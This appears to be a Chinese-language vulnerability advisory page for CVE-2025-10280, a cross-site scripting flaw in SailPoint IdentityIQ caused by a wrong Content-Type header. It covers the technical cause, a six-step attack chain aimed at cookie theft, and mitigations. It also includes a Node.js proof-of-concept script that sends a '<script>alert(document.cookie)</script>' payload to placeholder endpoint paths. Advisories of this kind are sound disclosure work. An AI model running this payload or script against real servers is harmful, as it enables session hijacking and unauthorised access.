IPBUF安全漏洞报告
English
CVE-2025-10280 CVSS 7.1 高危

CVE-2025-10280 IdentityIQ错误Content-Type导致跨站脚本漏洞

披露日期: 2025-11-03

漏洞信息

漏洞编号
CVE-2025-10280
漏洞类型
XSS跨站脚本
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SailPoint IdentityIQ

相关标签

CVE-2025-10280IdentityIQXSS跨站脚本Content-Type错误配置SailPoint身份治理高危漏洞Web安全

漏洞概述

CVE-2025-10280是SailPoint IdentityIQ身份治理与管理平台中的一个高危安全漏洞。该漏洞存在于IdentityIQ的Web服务组件中,攻击者可以通过构造特定的URL路径来触发错误的Content-Type响应头设置。具体而言,部分提供非HTML内容的Web服务可以通过特定的URL路径访问,该路径会将Content-Type设置为text/html,导致浏览器将本应作为纯文本或数据的内容错误地解析为HTML并执行其中的脚本代码。由于返回的内容未经过适当的HTML转义处理,攻击者可以在其中注入恶意JavaScript代码,形成存储型或反射型跨站脚本攻击(XSS)。受影响版本包括IdentityIQ 8.5、8.4及8.4p4之前的所有补丁版本、8.3及8.3p5之前的所有补丁版本,以及所有更早版本。成功利用此漏洞可导致攻击者窃取用户会话令牌、劫持用户账户、获取敏感数据或在用户浏览器中执行任意操作,对企业身份安全管理构成严重威胁。

技术细节

该漏洞的根本原因在于IdentityIQ Web服务对Content-Type响应头的处理不当。IdentityIQ的部分Web服务接口原本设计用于返回非HTML格式的数据(如JSON、XML或纯文本),但这些服务可以通过特定的URL路径进行访问。当攻击者使用特定的路径模式访问这些服务时,服务器错误地将Content-Type响应头设置为text/html而非正确的application/json或其他数据类型。这种错误的Content-Type设置导致客户端浏览器将响应内容作为HTML进行解析,即使该内容本不应被解释为HTML markup。由于返回的内容中包含的用户输入或业务数据未经过HTML实体编码(如将<、>、&等字符转义为&lt;、&gt;、&amp;),浏览器会将其识别为可执行的HTML/JavaScript代码并执行。攻击者只需构造包含恶意JavaScript代码的请求,使其通过该漏洞接口返回,即可实现XSS攻击。攻击向量为网络可访问(AV:N),需要低权限用户交互(PR:L/UI:R),对机密性、完整性和可用性均造成高影响(C:H/I:H/A:H)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标IdentityIQ服务器版本,确认其属于受影响版本范围(< 8.3p5, < 8.4p4, < 8.5)
STEP 2
步骤2: 漏洞探测
攻击者探测可利用的Web服务端点,尝试访问特定URL路径以触发错误的Content-Type响应头设置
STEP 3
步骤3: Payload构造
攻击者构造包含恶意JavaScript代码的XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4: 请求注入
通过存在漏洞的URL路径提交payload,使未转义的内容被服务器作为HTML内容返回
STEP 5
步骤5: 会话劫持
受害者浏览器解析响应时执行注入的JavaScript代码,攻击者获取用户会话Cookie或执行其他恶意操作
STEP 6
步骤6: 权限提升
攻击者利用窃取的凭证访问敏感资源、修改配置或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-10280 PoC - IdentityIQ XSS via Content-Type Misconfiguration // Target: SailPoint IdentityIQ < 8.3p5, < 8.4p4, < 8.5 const axios = require('axios'); async function exploitCVE202510280(targetUrl) { console.log('[*] CVE-2025-10280 IdentityIQ XSS Exploit'); console.log(`[*] Target: ${targetUrl}`); // Malicious JavaScript payload for XSS const xssPayload = '<script>alert(document.cookie)</script>'; const encodedPayload = encodeURIComponent(xssPayload); // Known vulnerable endpoint patterns (example paths) const vulnerablePaths = [ '/identityiq/ui/index.html?param=' + encodedPayload, '/identityiq/webservices/.../vulnerable/endpoint?input=' + encodedPayload, '/identityiq/iiq/.../path/that/sets/html/content/type?data=' + encodedPayload ]; for (const path of vulnerablePaths) { try { console.log(`[*] Testing path: ${path}`); const response = await axios.get(targetUrl + path, { headers: { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-10280-Test)', 'Accept': 'text/html,application/xhtml+xml' }, timeout: 10000 }); // Check if Content-Type is incorrectly set to HTML const contentType = response.headers['content-type']; console.log(`[*] Content-Type: ${contentType}`); if (contentType && contentType.includes('text/html')) { console.log('[+] Potential vulnerability detected!'); console.log(`[+] Content-Type is text/html for non-HTML endpoint`); // Check if payload appears in response if (response.data.includes(xssPayload)) { console.log('[+] XSS payload reflected in response'); console.log('[+] Vulnerability confirmed!'); return true; } } } catch (error) { console.log(`[-] Error testing path: ${error.message}`); } } console.log('[*] Exploit completed'); return false; } // Example usage // exploitCVE202510280('https://vulnerable-identityiq-server.com');

影响范围

IdentityIQ 8.5 (all versions)
IdentityIQ 8.4 < 8.4p4
IdentityIQ 8.3 < 8.3p5
IdentityIQ 所有更早版本

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 限制IdentityIQ Web服务的网络访问,仅允许受信任的IP地址访问管理接口;2) 在反向代理或负载均衡器层面添加Content-Type强制校验规则,确保非HTML端点返回正确的MIME类型;3) 启用浏览器的XSS过滤器(如Chrome的XSS Auditor);4) 实施严格的CSP(内容安全策略)响应头,限制脚本执行;5) 监控Web访问日志,关注异常的脚本注入尝试;6) 提醒用户不要点击来自不可信来源的链接,尤其是包含可疑参数的IdentityIQ URL。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表